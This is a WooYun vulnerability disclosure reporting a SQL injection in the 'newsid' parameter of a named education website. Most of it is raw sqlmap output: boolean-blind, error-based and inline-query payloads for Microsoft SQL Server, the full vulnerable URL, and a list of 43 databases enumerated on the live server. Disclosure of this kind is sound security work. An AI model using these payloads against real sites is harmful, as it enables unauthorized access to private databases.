当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087352

漏洞标题：教育人生网高危注射漏洞

相关厂商：教育人生

漏洞作者： 0x 80

提交时间：2014-12-16 15:41

修复时间：2015-01-30 15:42

公开时间：2015-01-30 15:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-01-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注射

详细说明：

GET parameter 'newsid' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newsid=136985 AND 9820=9820
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: newsid=136985 AND 3075=CONVERT(INT,(CHAR(58) CHAR(122) CHAR(106) CH
AR(102) CHAR(58) (SELECT (CASE WHEN (3075=3075) THEN CHAR(49) ELSE CHAR(48) END)
) CHAR(58) CHAR(108) CHAR(111) CHAR(119) CHAR(58)))
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: newsid=(SELECT CHAR(58) CHAR(122) CHAR(106) CHAR(102) CHAR(58) (SEL
ECT (CASE WHEN (3079=3079) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(108)
CHAR(111) CHAR(119) CHAR(58))
---


漏洞证明：

available databases [43]:
[*] 400Tel
[*] dbAuhs
[*] dbFeiFan
[*] dbfile
[*] dbFuYuan
[*] dbFuYuan2
[*] dbJianZhang
[*] DBslzx
[*] DbUnion
[*] dhucj
[*] dnt31
[*] donghua
[*] donghua2
[*] edubao
[*] eduBM
[*] eduKepu
[*] edulifebbs
[*] edulifeOA
[*] eduonline
[*] fuyuan
[*] gApple
[*] hesheng
[*] information
[*] kepu
[*] master
[*] Member
[*] mobileSchool
[*] model
[*] msdb
[*] newedulife
[*] newedulife2
[*] PilotWeb
[*] SEMS
[*] shangwai
[*] shangwaiqingshaonian
[*] shonline
[*] t
[*] tempdb
[*] test
[*] tongjite
[*] URTracker
[*] xinchangedu
[*] xinchangedu_tz


22.png


http://www.edulife.com.cn/vipschool/finance365/news.aspx?newsid=136985


修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝